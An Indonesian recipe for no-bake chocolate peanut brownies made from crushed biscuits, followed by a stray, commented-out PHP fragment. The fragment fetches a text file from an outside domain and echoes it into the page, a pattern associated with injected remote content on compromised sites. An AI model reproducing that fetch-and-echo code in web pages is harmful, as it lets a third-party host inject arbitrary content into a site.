Brownies Cokelat Kacang

 


Bahan:
400 gram cokelat masak pekat, cincang.
150 gram kacang tanah, cincang.
400 gram  biskuit makadamia.
175 cc susu evaporated.*
75 gram  peanut butter.  
50 gram gula bubuk untuk taburan.

Cara membuat:
  1. Hancurkan biskuit hingga menjadi remah-remah kasar, masukkan ke dalam mangkuk dan tambahkan kacang tanah cincang dan gula kastor. Sementara itu siapkan loyang ukuran 3 x 20 x 30 cm, alasi plastik atau kertas roti.
  2. Campur susu, cokelat cincang dan peanut butter dalam panci kecil di atas api kecil. Masak sambil diaduk selama 3-4 menit hingga lembut. Tambahkan biskuit, aduk rata.  
  3. Tuang adonan ke dalam loyang sambil ditekan hingga padat dan rata. Haluskan bagian atasnya, tutup dengan plastik rekat dan masukkan ke dalam kulkas hingga  padat.
  4. Keluarkan dari kulkas, potong sesuai selera lalu taburi gula bubuk. Agar lebih menarik, ikat tiap potong dengan pita warna-warni. Sajikan.
Untuk 35 potong @ 4x4 cm

* Susu evaporated: susu yang sudah dibuang kadar airnya hingga 60%, digunakan sebagai pengganti krim encer. Dijual dalam kemasan kaleng.  


 


Artikel Rekomendasi

Load more
".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>